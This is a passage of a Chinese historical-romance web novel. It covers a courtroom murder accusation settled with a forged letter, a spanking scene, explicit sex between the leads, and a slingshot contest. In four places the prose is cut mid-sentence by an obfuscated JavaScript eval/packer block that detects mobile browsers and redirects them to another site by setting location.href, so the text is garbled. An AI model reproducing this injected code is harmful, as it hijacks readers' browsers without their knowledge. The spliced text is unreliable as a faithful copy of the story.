越临近真相越恐惧，甚至难以集中精力，手指死死掐进掌心，靠疼痛逼自己清醒，听仵作回话。 先头几句和她打听的差不多，言骨头受伤后如果人还活着，断口会自己长上，变得粘连，粗涩不平。 “死者颅骨后部有明显的断裂，断口整齐，无血荫相连，确为致命伤。” 确为致命伤。 季灵儿倏然振作，双眸重新聚焦，看向仵作。 仵作又描述了头骨凹陷缺口的形状，推测凶器乃砚台一类的砖物。所说形状与季全描述的完全吻合！ 季灵儿拳头钻进，激动地险些当场落泪。 是梁守正！她赌对了！ 梁守正仍不认罪，高声喊道：“这是他们合谋构陷！对，是构陷，季全能细致道出伤口形状，说不定人就是他杀的，他杀了我夫人，如今还要嫁祸给我......请大人明察！” 事到如今他竟还能反咬，季灵儿有些佩服他颠倒黑白的能力，下一瞬，却听县令沉吟开口。 “梁守正所言——不无道理。” “大人！”季灵儿失声惊呼，“有人证有仵作验尸结果，证据确凿，为何不能定罪？” 县令肃容道：“仵作验尸只能证明死因为重物击伤致死，无法直接证明凶手是梁守正，目击者只有一位，万一他说谎，本官岂非错判冤案，人命关天，本官不能草率定案，还需再寻其他证据。” 说着下令先将一干人等收押入狱，待审问后再做定夺。 季灵儿知道县令与梁守正是一丘之貉，没料到他能当众偏袒，一旦入了内牢，是审是刑，全在县令一语之间。 这般处置，显然是起了屈打成招之意，兴许关押后便回想法子逼供，让她和季全画押承认杀害季璇，构陷梁守正。 卑鄙！ 季灵儿气结，愤慨质问县令：“梁守正指使人伪造银钱之罪不可脱逃，县令大人打算如何处置？” “本官何时说过不审他，一并押下！” 差役奉命收拾现场，押解一干人等回县衙。 季全老泪纵横，痛呼：“是我害了你，我不该说出真相，连累你至此……” 就在此时，一道清朗声音从人群外传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672597|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “秦某有证，可指认真凶。” 忙碌的人群顿时安静下来，众人纷纷侧目，目送说话之人阔步走到县令跟前。 其身姿挺拔胜于县令，通身气度沉凝，迎面而立毫无卑微之色，甚至能于清俊眉眼间窥见几分凌厉威压。 有人竟揣测为微服私访的钦差御史之辈，因官位高于县令而不惧。 季灵儿注意的却是锦鞋上沾着的泥土，连石青绸衫下摆处都有污泥痕迹。 他从没有如此不修边幅过，定是匆忙赶来的。 可是......他怎会有证据？ 秦劭躬身朝县令行过礼，徐徐开口：“禀大人，季璇生前曾亲至河东府商行寻秦某，称其发现丈夫梁守正勾结外人谋夺季家家产，险些被丈夫杀害，希望秦某能出手相帮，助她保住家业，此有她亲笔密信为凭。” 说着从袖中取出一封信奉上，“彼时秦某担心空口无凭，是以让她写下亲笔书信留存，大人请看。” 梁守正并不信他这套说辞：“荒谬！季璇生前与秦家从无往来，如何会去求你？此信必是伪造！” “秦某与季璇虽无交集，但秦某执掌商行，自认于河东府各行生意上说得上话，季璇欲挽救票号来求助合情合理，且她来商行之时有门房及伙计亲见，皆可证明。” 秦劭言之凿凿，还报了季璇求见的具体年日时辰，以及为她通传之人的姓名。 顿了顿，又道：“此上笔迹可找季璇生前所书对比，若一致，足说明梁守正蓄谋杀妻，此外，他当年勾结外人，险些令汇通票号崩盘之事，亦有旧档可查，查明这项，亦可佐证其动机......大人若要彻查，秦某与河东府商行，愿全力配合大人。” 说到此处，梁守正彻底慌了。 杀人死无对证，当年转移季家财产之事管家及几位亲信皆知晓，一旦彻查，难保无人反水。 县令听秦劭话音，却更关注他刻意强调的，背后的商行势力，心念电转之间已做出抉择，决定舍小顾大。 季璇身故后，家中尚有她生前所书账册信札，经比对，笔迹确系同一人所书，梁守正罪责难逃，数罪并罚。 ... 尘埃落定后，秦劭交代阿吉善后，保证此事永不会再有其他变故，带着两个小弟子上了马车。 梁宸整个人呆若枯槁，坐在马车里一声不吭，目光空洞地盯着脚尖，不说话也不看人。 季灵儿坐在他对面，静静看着他，张张嘴却不知该说什么，转去看秦劭，想向他求助，反被一道冷戾的目光刺回来。 明显是在生气。 生她的气么？ 可是......他凭什么？ 虽如此想，季灵儿还是很没出息地耸了，索性也低下头，一言不发地抠手指。 马车走了很久没有停下的迹象，她小幅度侧身，掀开车帘往外看，已出了曹县。 忍不住好奇，小声问：“要去哪里？” “别院。” “哦。” 季灵儿大抵明白秦劭的意图，梁宸骤然遭此巨变，不晓得要做出什么过激之举，带他远离是非之地静养最为妥当，别院有仆从，能妥善看顾他。 带她去做什么？ “我......” “季凌。” 她刚要开口问，被秦劭冷声打断，唤的还是学堂里的名字，久违的威压落下，几乎下意识的，她噤了声。 内心有个声音凭着经验悄悄预警：她没好果子吃。 76. 惩罚 到德馨园，秦劭季灵儿独自丢在枕月阁，带着梁宸去厢房安置，同他开解谈心。 季灵儿伏在雕花窗边远眺，目光掠过满园斑斓，落回庭院中迎风招展的枝桠，她满心都是秦劭隐忍不发的神情，外头的风景投不进去。 他生气，是因为她瞒了他么？ 瞒了便瞒了，她的私事，没有向他解释的必要。 若真是担心她……担心就好好说嘛，甩脸子算什么！ 今日这场惊险，她本就心有余悸，凭什么还要看他的脸色？ 如此琢磨着，鼻尖一酸，反倒觉出委屈来。 闻听楼梯传来靴声，一步一顿，沉得如同鼓点，就差明着告诉她，我来了，我带着满腔怒气来找你算账了。 季灵儿转身，脊背抵着窗台，视线直直盯着楼梯方向的动静。 秦劭绕过云母屏风，便撞上小姑娘含怨带怒的目光，樱唇撅得老高，简直能拴头驴。 径直走到她面前，高大身影罩着她。 离得太近，季灵儿气场瞬间被压下，抬手推他胸口，“教训人不必离这么近。” 秦劭岿然不动，垂眸凝视着她：“你知道我要教训你？” “全写脸上了。” 她眸中燃着的两簇小火苗，看上去比他还生气。 秦劭心中生出无奈，面上仍冷着：“看你的样子不服气？” “我没做错什么。”她倔强地扬起下巴，恨不得把火烧到他脸上去。 秦劭决心教她长记性的，语气陡然转厉：“你明知梁守正与官府私交甚密，还在曹县县衙状告他杀人，翻三年前的命案，你有几成把握全身而退？” “我有安排。”季灵儿说的理直气壮，“即便今日我被收押，也会有人去请知府大人出面周旋，不会陷入险境。” “知府？”秦劭诧异，“你何时同知府攀上的关系？” “这是秘密，”季灵儿抿了抿唇，声音低下去几分，“不方便告知外人。” “外人？”秦劭冷呵，周身气压骤降，“就是说，我这个外人今日多余救你了？” 他及时出现，季灵儿是感激的，毫不夸张的说，白日他出现的刹那，她心中涌满感动，可他后来的态度和言辞都太噎人，她不想理。 索性扭过头，留给他一个气鼓鼓的侧影。 “好，当我多余。”秦劭气得胸口发闷，语气里掺了几分狠意，“合该让你下狱后受些刑罚，狠狠得个教训！” 明知他说的是气话，多半还是被自己给气的，可听他这般言语，季灵儿仍是心头一涩，脱口而出：“你的心真狠。” “......”秦劭倒吸一口气，“你说对了，我的心确实狠。” 胸口堵着火，想同她好好说的念头早被烧得干净，拦腰抱起她走到榻沿坐下，将人反按在膝上，一只手铁箍似的扣住她纤细的双腕压在身前，另一只手毫不留情扬起落下。 隔着单薄裙衫，精准抽在挺翘臀峰上，发出沉闷的响声。 季灵儿何时受过这般惩戒，惊喘一声后竟愣了一瞬，挣扎着扭头怒视。 越挣他困得越紧，最后干脆将裙角卷至腰际，捏住裤腰一把褪下，巴掌失了阻挡，直接落在光洁的肌肤上。 力道不重，但季灵儿受不得这样的欺辱，脸颊涨得通红，张嘴就是骂：“秦劭你混账！王八蛋......” 秦劭停了手，听他点名道姓地一声接一声骂，市井腌臜词不绝于耳，他头一次知道小姑娘肚子里装了如此多浑话，眸色愈发沉冷。 “你尽管骂，骂完我再打，到时候没了哭喊的力气只会更疼。” 季灵儿明白了，骂他根本不管用，后槽牙咬得咯吱作响，气急败坏道：“从现在起，我跟你恩断义绝！” 秦劭眉梢猛地一颤，钳制她的手掌收紧，在脂玉上压出几道红痕，却是比捏在他自己心上还要疼。 “我打你不过三下，便委屈受不住，入了狱受刑你也跟他们讲恩断义绝？我不知你同知府有何约定，但你真能保证在知县和梁守正手底下，能全须全尾地撑到知府来救你么？把自身安危系于他人之手，便是给了对方伤害你的机会。” 季灵儿不由怔住，以为万无一失，即便下狱不过受些皮肉苦，确未想过万一梁守正勾结官府下死手当如何。 “灵儿，没有什么东西，值得你用命去换，你到底什么时候能长记性，将这好赌一把的性子改了？你是逞了英雄，可知道我在外头听着，心里有多怕？”秦劭声音不高，字字锥心，说着说着，声音中夹带轻颤。 “到头来，你倒给我扣个外人的帽子，跟我讲恩断义绝，你说你是不是没良心！” 季灵儿听他声音发哑，想侧头去看，反被他按住脑袋，动弹不得。 那点因挨打而生的委屈愤懑，渐渐被心虚取代，声音也低了下去，带上了点不自知的娇气：“我......那您好好说嘛，干嘛非得打我，还掀了衣服打。” “好好说？”秦劭几乎是气笑了，“我为你好赌罚你多少次，你哪回真听进去了？” “这次会听的。”她小声咕哝。 “哼，这次我若不对你狠些，怕是你还要为自己的英雄事迹得意呢，以后只会变本加厉。” 秦劭太了解她了，稍有得意尾巴就能翘上天的小姑娘，不狠吃一顿亏，迟早要闯出更大的祸。 季灵儿有自知之明，一时找不出借口反驳，眼珠一转，试图转移话题：“你手里有我师父给的密信为何不早告诉我？” 秦劭沉默了几个呼吸，淡淡开口：“没有什么密信。” “什么？”季灵儿大惊，若非被他牢牢按着，定要弹坐起来。 “密信是我临时仿写，再做旧的。” 季灵儿难以置信：“你怎仿的出我师父字迹？” 秦劭提醒：“你屋里的旧账册和手札。” “竟是假的......”季灵儿仍觉不可思议，“你就不担心被发现吗？” “季璇来商行托我帮忙属实，梁守正试图杀妻谋财也属实，真相里掺几分假，没那么容易被拆穿，况且......”秦劭犹豫须臾，接道：“在绝对的利益跟前，真假并不重要。” 季灵儿这才反应，公堂之上秦劭口口声声河东商行，实是在利诱县令，只要牵动县令贪念，使其误以为有更大利益可图，便不会再偏向梁守正，自然也不会深究细枝末节。 他一直强调，信誉乃为商者的立根之本，凡弟子们弄虚作假被发现，皆是严惩，如今却亲手造假，还是假的呈堂证供，一旦败露，不仅他要论罪的，连带河东商行的声誉都会受损。 季灵儿心头剧震：“你这是......又为我违背原则了么？” 上一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678276|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是她和梁宸赌玉坠。 “是啊，”秦劭长叹一声，载满无奈与自嘲。 他责她赌性难改，细想之下，自己何尝不是赌徒？为了救她甘心背上一切赌一局。 季灵儿心里软得一塌糊涂，人也开始服软，闷声道：“我错了。” 秦劭不轻易信她：“你变脸速度之快，我已分不清是真认错还是耍滑头。” “是真的，”她这次是真意识到事态严重，见他信不过，索性豁出去了，在他膝上不安分地扭了扭身子，“要不……你再打几下解气，这诚意够足了吧？” 颤动的雪白弧线格外吸引视线，配着她那视死如归又带羞耻的语气，秦劭哭笑不得，抬手拍在上面，跟拍蚊子力道差不多，故意问：“不同我恩断义绝了？” 季灵儿哼了一声，“这次饶过你，再不经同意欺负我，还是要绝的。” “惯的你，”秦劭低笑，又一掌轻轻落下，似责还怜，“你现在真是半点不怕我，顶嘴，谩骂，威胁一样不落。” 按在脑袋上的手去忙旁的，季灵儿趁机侧头看他，眼圈红红的，想是方才哽咽时留下的痕迹。 像是发现了什么了不得的秘密，脱口而出：“你哭了？” “啪！”回答她的是清脆一巴掌，比先前力道都重，疼得她翻身往外滚，跌坐在他脚上，只剩一双手还被攥着。 季灵儿仰头瞪他，这人哭了不承认，竟还恼羞成怒打她！ 男儿有泪不轻弹，秦劭方才也是急得失了分寸，顶着她问罪的目光，讪讪道：“抱歉，一时失手......打疼了吗？我给你揉揉。” 他替她揉？想得美！ “你松开，我自己会揉。”季灵儿用下巴尖点了点依旧被他攥住的手腕，示意他放开。 “我打疼的，理应由我负责。”秦劭笑了下，长臂一伸便将她整个人从地上捞起。 季灵儿再反应过来时，人已被拢进他怀中，他躺她趴，二人胸腹相贴卧于榻上。 原本攥着手腕的手落在她后腰之下，贴着方才被打处轻轻摩挲。 她胳膊撑在他身侧想起身，但圈在腰际的力道不允许。 “我不用你负责，放开。” 秦劭眼圈洇红未褪，换了更暧昧的目光盯着她微张的唇，自顾自揉着，问着：“这力道可以吗？” “......” 力道是可以，但别胡乱点火啊。 季灵儿羞恼道：“你揉偏了。” “哦。”秦劭只嘴上应，带着薄茧的手指再三越界。 “别，别往里面去。” 他指腹缓缓打圈，嗓音低哑：“我看看有没有内伤。” “秦劭！” “我在。” “你不许。” “可你咬着我呢。” “......” 季灵儿发现了，这人无论在旁的事情有无原则，于床笫之事上就是彻头彻尾的无赖。 偏这无赖太明白她的需求，何处需求，慢条斯理地挑逗她，诱她一步步沦陷，直到门户对着门户，箭在弦上。 秦劭忽然正经起来：“方才没罚完，现在继续？” 季灵儿以为他还要打，恶狠狠威胁：“你别得寸进尺！” “不敢，”秦劭扶着她的腰帮她坐直身子，“只罚你出力，弥补我担惊奔波。” 77. 刺激 季灵儿从来是享受的一方，未出过力，眼下不知如何动作不说，一双手也不知放哪里合适，随着他的目光胡乱遮挡一通。 秦劭愈发觉得有趣，噙着笑，上上下下挪动目光逗她。 最后是哪处都挡过，却未露瞧一处，还额外欣赏了小姑娘别样娇羞的媚态。 眼见要把人惹恼了，秦劭收了视线，手掌按在纤腰上，耐心地带她，教她，温声告诉她如何研磨，如何巧用力道，如何借势转动。 起初不得要领，两人皆难受，季灵儿又几度要哭出来，秦劭额头密密麻麻滚着汗珠，有两次手腕脱力，险些让小姑娘将研磨的家伙毁了。 幸而功夫不负苦心人，交了好半天，总算得入佳境。 紧绷的精神松下来，季灵儿视线开始飘忽，无意瓷枕下露出的妃色一角，很是眼熟。 探身欲拿来瞧，反将雪团压向秦劭，峰尖红豆扫过高挺鼻梁，旋即被卷入衔入唇间。 骤至的温热引出尖声惊喘，伸出去的手陡转方向，按在他肩膀上。 男人自喉间滚出笑，“青出于蓝啊。” “……” 情正浓，火正旺，她的思绪很快被其他东西勾走，顾不上那物。 ... 天光未完全渗透，室内昏沉沉一片，季灵儿从梦中转醒，翻身时余光再度瞥见枕下妃色，熟悉感涌上心头，随手将其抽出。 借着微光看清手中物什，余下的醉意瞬间消散，指尖抚过上面的石榴花，确认没有认错。 秦劭卯时前自然醒后，拢着她阖眸养神，并未睡着，察觉她动作睁开眼，恰看见她举起的小衣。 “......” 糟糕，忘记收了。 季灵儿翻身后虽背对他，但能感受到耳畔呼吸猛然下沉，知他醒了，质问：“我的小衣为何在这里？” “你先前换下的，在这里不奇怪。”秦劭尽力放平声音装无辜。 季灵儿羞于回忆，奈何记忆力佳是她引以为傲的长处之一：彼时他拿自己小衣采花蜜的情景历历在目，这才换下不要。 眼前这件分明是洗干净的，洗干净合该安静躺在衣柜中，压枕下太奇怪了。 “我问的是为何压枕下？” “拿旁的衣物带过来的，一直忘了收起来。”秦劭语气平静，心里头仍虚着，将她的手连同小衣一起按下，“别瞧了。” 他遮掩之意太明显，但季灵儿一时说不出何处怪异，只好先作罢。 “你别抱我这么紧，热。” 天热他更热，她要被烫熟了，扭着身子要拉开距离。 他不说话亦不松手，小衣勾起他对那些难捱日夜的回想，苦涩滋味再度翻涌，放纵地将脸埋在她颈窝，贪婪汲取着她的气息。 小衣因他糟蹋洗过几次，上面只余清新皂香，纵可睹物思人，实在难解相思，不能与温香软玉在怀相提并论，他舍不得松手。 季灵儿挣脱不过，转为威胁：“我要恼了！” “我想你，让我多抱一抱吧。”他低声求告，身下欲望蠢动，无疑是最好的印证。 “两日了，还没够吗？”季灵儿无奈，悄悄挺胯离开他，蚕蛹似的往墙根挪蹭。 于四方床榻之间，她跟案板上的待宰的鱼差不多，扑腾不得几下便被拦截。 “不够。”刀俎发话了。 季灵儿不肯白白吃亏，讨不到力气上的便宜便讨嘴上的，揶揄道：“你也一把年纪了，节制些吧。” 秦劭嗤笑：“一把年纪？” 这话便是赤裸裸的挑衅了，张口咬住颈间细白的软肉，拿牙齿磋磨报复。 报复完将人转过来，锁着清亮的眸子问：“没太听明白，少夫人是关心我身子，还是嫌我？” 几日下来，少夫人的称呼被他唤得愈发暧昧，狎昵意味十足，且往往跟在后面的，都不是正经事。 昨日教学费去她半身气力，后来他又拿回主导权索要数次，季灵儿委实撑不住，怕他来真的，连哄带骗安抚：“自然是关心你，反正我甩不脱你，不急这一日嘛。” “甩不脱”虽不中听，话里的来日方长之意秦劭还是受用的，缠着她深吻了一会儿，未再进一步折腾，依依不舍地起身收拾。 季灵儿侧撑着身子，看精实肌肉被一件件衣裳覆上，合身剪裁的长衫更显猿背蜂腰的线条，甚至比不穿衣服更勾人遐想。 从前她怎么没在意呢？ 转念又想，学堂里他的严厉训人的模样实在可恶，配再好的皮囊都难引人生出绮念，她不在意是合理的。 那他呢，他是何时对自己起心思的？ 他束好腰带回身，见她一瞬不瞬盯着自己看，眸中勾着疑惑。 “有话要问？” 心中疑惑在嘴边打了个转，终是咽下，转问：“昨日没顾上问你，梁宸那边劝得如何了？” 秦劭：“勉强劝住，能否完全想通要看他自己。” 季灵儿能理解，骤然得知父亲因杀母亲下狱，搁谁身上都难轻易释怀，何况梁宸还是个被保护蠢了的，恐怕短时间内走不出阴影。 她锁着眉头思索，似是忧心，秦劭近前按在上面，抚平褶皱：“你到底关心他。” 季灵儿摇头：“算不上关心，只是不想看他继续窝囊下去，丢师父的人。” 秦劭：“此事急不得，多给他些时间。” 季灵儿没多说，长长打了个哈欠，道：“我太乏了，再睡会儿。” 秦劭在她眉心轻落一吻，放好帷帐下楼。 她这两日费神又费力，身子亏得厉害，两眼一闭睡去，再醒来已是后晌，秦劭在前院清风堂会客。 她伸了懒腰起来梳妆，向丫鬟问起梁宸情况。 “梁公子状态不大好，从昨日到今日送去的饭菜一口未动，只在屋子里发呆。午膳时爷又去劝了一趟，人倒是肯出来了，但还是呆着。” 季灵儿略想了想，道：“帮我准备两把弹弓来。” ... 梁宸一夜未眠，始终不愿相信母亲是被父亲害死的，可验尸现场他也去了，甚至忍着悲痛凑近看过，母亲头骨的确有被钝器击打的痕迹。 若非父亲所为，为何三年前不报官彻查，反倒直接以暴毙之名下葬？ 他想弄清楚，少不得追忆往事，杂乱的画面里，一些被遗忘和忽略的细节渐渐浮现。 他曾撞见过父亲偷拿母亲私印，天真被父亲一句“夫妻一体，何分彼此”搪塞过去，母亲后来应是发现了，两人还起了争执，但在他跟前总是一副恩爱和睦的模样。 他以为，那是床头吵架床尾和。 母亲出殡那日，父亲盯着棺木的眼神并非哀恸，而是恍惚。此后，他在提起母亲，父亲便动怒打他。 原来并非提起悲痛，竟是心虚恐惧么？ 被粉饰的过往里，也有直戳真相的警告，全是季灵儿说的，他只当她故意抹黑父亲，挑拨离间。 她好像还说过，父亲逛窑子险些将她办了，是母亲及时出现把人带回来的......她初次来梁家才多大？ 这事若真，父亲岂非...... 梁宸不愿相信，更不愿再想，痛苦地抱着头，恨不能将整个人埋进土里。 就这么蜷坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687451|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湖边石头上，任日头透过树荫遮蔽灼在身上。 不知过了多久，一枚石子砸在他脚边，他不理，又一枚跟着落下。 一枚接一枚，逼得他直起身子，回头去看，果然是季灵儿，她立在不远处，手里握着弹弓。 “滚开。” 梁宸现在最不想见到的就是她。 季灵儿偏不，执起弹弓一拉一纵，又一枚石子飞落在他脚边。 他横眉怒目，她却笑得挑衅，掏出另一个弹弓扔给他，“不服气就来比比，这次我应你，输的人学狗叫。” 打弹弓之事要追溯到季灵儿刚被季璇领回去之时，梁宸看不惯母亲总护着这个半路回来的野丫头，言语奚落，还寻各种由头欺负她，全被她一一还了回去，他半点没讨到好，反倒被母亲知晓，多挨一顿训斥。 吃一堑长一智，后来他改从背后偷袭，仗着自己弹弓打得厉害，藏着暗处偷袭她，得逞几次后，季灵儿找上他，骂他背后偷袭是懦夫，小人行径，有本事就当面较量。 梁宸受不得激将，又自信自己的技艺，当即应下她的挑战，比试拉弹弓打靶，输的人当众学狗叫。 可他不知，季灵儿在找上他之前日夜苦练，忍着血泡磨破的疼只为赢他一次。 因他大意，输得彻底，被迫在家中仆从面前学了狗叫，几日没脸出房门见人。 再想讨回颜面，季灵儿知道再比赢他胜算不大，说什么不肯接招，往后弹弓也比过，旁的也赌过，但她坚决不接“学狗叫”的茬。 梁宸盯着扔来的弹弓，半晌不语，他没心思和她闹。 季灵儿不依不饶，又一颗石子擦着他衣袖飞过去，在湖面砸起水花。 “不是心里不舒服吗？白给你泄愤的机会都不要？过了这村可没这店！” 梁宸怒火骤燃，弯腰捡起一颗石子捏在软垫上，蓄力拉满，石子破空而出，直直打在季灵儿左边胳膊上。 “你自找的。” 他曾答应过母亲不会跟女子动手，是以后来再怎么闹，都没伤过她半分。 季灵儿踉跄了下，揉着被打疼的地方，道：“给个痛快话，比不比？” 火气已在胸腔里冲撞，没有再憋回去的道理，梁宸紧了紧握弹弓的手，“比！” 季灵儿早有准备，当即让人提来一笼鸽子，鸽脚用细绳吊有铜钱，轮番放飞射铜钱，听响辨胜负，一共十只鸽子十枚铜钱，射中铜钱多者为胜。 梁宸先发，一击命中铜钱，轮到季灵儿时扑了空。 他冷笑，趁热打铁，第二发又稳稳射中，随着清脆一声响，得意之情溢于言表。 陪秦劭会客回来的阿吉暗自替她捏把汗，小心翼翼窥身前人的脸色。 只见自家爷负手而立，盯着少夫人的方向，没什么神情波动。 哪怕他家少夫人又连着落空两发。 三个回合，梁公子全中，少夫人全失，败局已定，阿吉站不住了，试探开口：“您不帮帮少夫人吗？” 秦劭摇头。 梁宸得意看着季灵儿：“你输了。” 季灵儿却笑了，“所以呢？” 梁宸：“愿赌服输！” 季灵儿：“我偏要食言，你又能如何？” “你耍我！”梁宸气得骨头几乎捏炸开。 “你指哪一桩？”季灵儿笑得狡黠，将提前准备好的最后四枚石子全拢进手心，“瞧好了。” 小厮会意，同时放出最后四只鸽子。 季灵儿四枚石子接连破空，打出四声脆响，骄傲地扬扬弹弓。 “梁大公子，你不会真以为我打不中吧？” 78. 养他 再次被耍的屈辱和愤怒涌上来，梁宸刚要张嘴开骂，被季灵儿抢先开口。 “不知情不知险恶，最是自在，师父一心想你活得快乐，所以再三叮嘱我，绝不可将梁守正害票号之事告诉你，怕你知道后夹在父母之间为难。我不能不听她的话，只能瞒着你，看你跟蠢货似的傻乐。” 季灵儿不想提，如今却不得不提，深呼吸，竭力让自己保持平静：“如今你知道真相，如果还是想要前三发那样虚假的得意，大可以就此消沉下去，我自己替师父把汇通的门面撑下去，虽然讨厌你，但也会看在师父的面上养你一辈子。” 梁宸原是动容的，听到后面不屑地“呸”她：“用不着你假好心，我不需要你养，我娘留下的家业更不会交给外人打理。” “那你倒是争口气啊，拿出点能耐给我瞧，别让我看不起你。” “走着瞧。” “记住你说的话，”季灵儿得逞，丢了手里弹弓，吩咐小厮：“把梁公子没吃的饭菜热了端来，盯着他吃完，吃不完就绑了灌进去，一粒米都不准他浪费。” 话是对小厮说的，眼睛却望着梁宸。 小厮垂首应了：“是，少夫人。” “你凭什么管我——”梁宸后知后觉意识自己竟被这个野丫头吃得死死的，一口气没上来，见小厮毕恭毕敬喊她少夫人，登时连人带嘴形一起僵住。 眼珠子几乎瞪出来，向小厮确认：“你唤她什么？” 小厮觑一眼季灵儿，见她不发话，不知该不该答。 忌惮的态度已是最好的答案。 梁宸看看小厮又看看季灵儿，脸色由红转白，由白转青，唾沫咽了一遍又一遍，半个字吐不出来。 季灵儿同样愣住了，太习以为常，亦嘚瑟过头了，没想到在这时被叫破身份，如今她和秦劭不清不白，认与不认都尴尬。 先摆手让小厮退下。 “谁的少夫人？”梁宸不死心，问了个心中已有答案的傻问题。 “关你何事。”季灵儿说罢就要走，试图蒙混过关。 “我的。”另一道声音紧随其后落下，人也阔步过来，在季灵儿身侧站定。 “师父？” 梁宸难以置信地看着秦劭坦然揽住季灵儿的肩，将她身子重新转过来。 “她是我的妻。”秦劭声音低沉清晰，“季掌柜生前特意将她托付于我。” 季灵儿也惊了，仰头错愕看他。 是托付不假，与前半句连在一起莫名变得别扭。 当下，她和梁宸诧异的是同一桩事：哪种托付？ “您的意思是......是我娘......”梁宸脑子一团乱，半天想不出合适措辞。 “是。”秦劭目光不移，颔首应了他的猜测，“所以，往后不要欺负她。” 梁宸：....... 谁欺负谁？ 秦劭一碗水端平，抬手在季灵儿脸上轻捏一把，宠溺道：“你也莫要欺负他。” 梁宸仿佛被一记闷雷劈得外焦里嫩，脑中轰鸣作响，眼前一阵天旋地转，旋即没了知觉，直挺挺往后倒去。 阿吉眼疾手快冲上去扶，可惜晚了一步。 季灵儿听着他摔出的闷响都觉得疼，白一眼罪魁祸首，道：“现在好了，你把他吓晕了。” “难道不是你一直刺激他？”秦劭失笑，当即让人请大夫来。 从半夜被管家绑上马车起，梁宸没吃没喝没合眼，又接二连三受刺激，这才昏厥，郎中替他施针唤醒，说无大碍，少年人身体底子好，吃饱饭再踏实睡上一觉便能恢复。 梁宸悠悠转醒，睁眼便对上二人并立的身影，目光在两人脸上逡巡良久，明白不是做梦，喉头动了动：“真是我娘托付给您的？” 秦劭颔首：“是。” “可她是我娘从——” 梁宸脱口而出时，季灵儿下意识攥了拳头，紧张瞪着他。 仅仅一瞬，她脑海中闪过无数秦劭知道后的反应。 梁宸停了许久，终是咽回后半句话，改口道：“她是我娘捡来的，配不上您。” 秦劭牵起季灵儿的手，指尖缓缓挤入她的指缝，将原本攥紧的拳头舒展开，十指相扣握紧。“她活得漂亮，配得上这世间一切。” ... 看着梁宸用过膳歇下，秦劭牵着季灵儿从厢房退出来，日影西斜，暖风徐徐吹着，湿热的草木气息中隐着茉莉幽香，甜沁沁的，似有还无，季灵儿不禁深深吸一口，再往周围张望，唯见枝头紫薇团团簇放，湖中风荷摇曳，再远处石榴花红得灼目，独不见何处有茉莉。 她在园中逛过几次，亦未曾见过，香气从何而来呢？ 怔怔地出了会神，没想出所以然，神思重回方才，转过脸问秦劭：“为何要诓他，让他以为是师父给我们做媒？” 秦劭闻言站定，眉眼弯弯地瞅着她，慢悠悠地反问，声音里含着笑：“怎么算诓呢，季掌柜的确曾将你托付给我，兴许——就是那意思呢？” 季灵儿狠狠剜他一眼，笃定道：“少无赖了！师父断不会拿我的终身玩笑，她托你照顾的话我信，其他的绝无可能。” 话虽如此，唇角却不由自主地翘起细微弧度，她自己不察，秦劭看得分明，明白小姑娘不自知的窃喜，心中生出蜜意，笑着在她鼻尖刮了下。 “小机灵鬼。” 且是个口是心非的。 季灵儿待要躲时，他已收回手去，只留一点温热触感在鼻尖，久久不散，跟寻不见来处的花香一般。 狠狠揉了揉鼻尖，试图摆脱他的痕迹，执拗追问：“所以为什么？” 秦劭盯着被揉红的鼻尖开口：“为了让他更好接受，以后不处处寻你麻烦。” 季灵儿撇撇嘴，不屑道：“他找我麻烦纯属自讨没趣，我还怕他么？” 秦劭但笑不语。 说什么都是借口，事实是他藏着私心，晓得小姑娘并非温室里的花朵，可忍不住心疼，想护着她，替她遮挡风霜。 更有一份说不清道不明的占有欲在作祟，不愿见她同旁的男子走得太近。 偏小姑娘自主性极强，知道他自作主张说不得又要恼，他不能坦白。 季灵儿也没追问，任他牵着在园中走，穿假山过游廊，绕来绕去，跟走迷宫似的。 她不知道他要做什么，但同沐晚霞，安静赏满园风光很惬意，她刻意回避多余的心思，不打破，全身心享受难得的美好。 走了许久，秦劭忽然开口：“方才听你说，愿意养他一辈子？” “怎么？”季灵儿辨不出话里滋味，狐疑看他。 沉默了几息，秦劭忽地停步，转身堵在她身前，漆眸盛着一汪春水，深情望她，“想问问少夫人，能否养我一辈子？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 